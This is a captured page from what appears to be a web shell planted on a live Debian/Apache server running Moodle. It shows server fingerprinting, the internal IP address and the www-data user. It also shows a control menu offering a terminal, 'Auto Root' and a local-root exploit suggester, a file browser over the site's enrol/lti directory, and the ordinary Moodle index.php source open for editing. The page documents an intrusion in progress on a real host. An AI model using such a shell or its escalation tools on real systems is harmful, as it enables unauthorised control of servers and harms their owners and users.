Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
enrol /
lti /
Delete
Unzip
Name
Size
Permission
Date
Action
backup
[ DIR ]
drwxr-sr-x
2017-06-22 15:48
classes
[ DIR ]
drwxr-sr-x
2017-06-22 16:05
db
[ DIR ]
drwxr-sr-x
2017-06-22 16:05
ims-blti
[ DIR ]
drwxr-sr-x
2017-06-22 16:05
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:48
templates
[ DIR ]
drwxr-sr-x
2017-06-22 16:05
tests
[ DIR ]
drwxr-sr-x
2017-06-22 16:05
xml
[ DIR ]
drwxr-sr-x
2017-06-22 16:05
cartridge.php
2.12
KB
-rw-r--r--
2017-06-22 16:05
index.php
4.7
KB
-rw-r--r--
2017-06-22 16:05
lib.php
17.31
KB
-rw-r--r--
2017-06-22 16:05
proxy.php
2.52
KB
-rw-r--r--
2017-06-22 16:05
settings.php
3.15
KB
-rw-r--r--
2017-06-22 16:05
thirdpartylibs.xml
245
B
-rw-r--r--
2017-06-22 16:05
tool.php
3.38
KB
-rw-r--r--
2017-06-22 16:05
version.php
1.13
KB
-rw-r--r--
2017-06-22 16:05
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * List the tool provided in a course * * @package enrol_lti * @copyright 2016 Mark Nelson <markn@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(__DIR__ . '/../../config.php'); require_once($CFG->dirroot.'/enrol/lti/lib.php'); $courseid = required_param('courseid', PARAM_INT); $action = optional_param('action', '', PARAM_ALPHA); if ($action) { require_sesskey(); $instanceid = required_param('instanceid', PARAM_INT); $instance = $DB->get_record('enrol', array('id' => $instanceid), '*', MUST_EXIST); } $confirm = optional_param('confirm', 0, PARAM_INT); $course = $DB->get_record('course', array('id' => $courseid), '*', MUST_EXIST); $context = context_course::instance($course->id); require_login($course); require_capability('moodle/course:enrolreview', $context); $ltiplugin = enrol_get_plugin('lti'); $canconfig = has_capability('moodle/course:enrolconfig', $context); $pageurl = new moodle_url('/enrol/lti/index.php', array('courseid' => $courseid)); $PAGE->set_url($pageurl); $PAGE->set_title(get_string('course') . ': ' . $course->fullname); $PAGE->set_pagelayout('admin'); // Check if we want to perform any actions. if ($action) { if ($action === 'delete') { if ($ltiplugin->can_delete_instance($instance)) { if ($confirm) { $ltiplugin->delete_instance($instance); redirect($PAGE->url); } $yesurl = new moodle_url('/enrol/lti/index.php', array('courseid' => $course->id, 'action' => 'delete', 'instanceid' => $instance->id, 'confirm' => 1, 'sesskey' => sesskey()) ); $displayname = $ltiplugin->get_instance_name($instance); $users = $DB->count_records('user_enrolments', array('enrolid' => $instance->id)); if ($users) { $message = markdown_to_html(get_string('deleteinstanceconfirm', 'enrol', array('name' => $displayname, 'users' => $users))); } else { $message = markdown_to_html(get_string('deleteinstancenousersconfirm', 'enrol', array('name' => $displayname))); } echo $OUTPUT->header(); echo $OUTPUT->confirm($message, $yesurl, $PAGE->url); echo $OUTPUT->footer(); die(); } } else if ($action === 'disable') { if ($ltiplugin->can_hide_show_instance($instance)) { if ($instance->status != ENROL_INSTANCE_DISABLED) { $ltiplugin->update_status($instance, ENROL_INSTANCE_DISABLED); redirect($PAGE->url); } } } else if ($action === 'enable') { if ($ltiplugin->can_hide_show_instance($instance)) { if ($instance->status != ENROL_INSTANCE_ENABLED) { $ltiplugin->update_status($instance, ENROL_INSTANCE_ENABLED); redirect($PAGE->url); } } } } echo $OUTPUT->header(); echo $OUTPUT->heading(get_string('toolsprovided', 'enrol_lti')); echo "<p>" .get_string('toolsprovided_help', 'enrol_lti') . "</p>"; echo "<p class=helplink>" . $OUTPUT->doc_link('enrol/lti/index', get_string('morehelp')) ."</p>"; if (\enrol_lti\helper::count_lti_tools(array('courseid' => $courseid)) > 0) { $table = new \enrol_lti\manage_table($courseid); $table->define_baseurl($pageurl); $table->out(50, false); } else { $notify = new \core\output\notification(get_string('notoolsprovided', 'enrol_lti'), \core\output\notification::NOTIFY_WARNING); echo $OUTPUT->render($notify); } if ($ltiplugin->can_add_instance($course->id)) { echo $OUTPUT->single_button(new moodle_url('/enrol/editinstance.php', array( 'type' => 'lti', 'courseid' => $course->id, 'returnurl' => new moodle_url('/enrol/lti/index.php', array('courseid' => $course->id))) ), get_string('add')); } echo $OUTPUT->footer();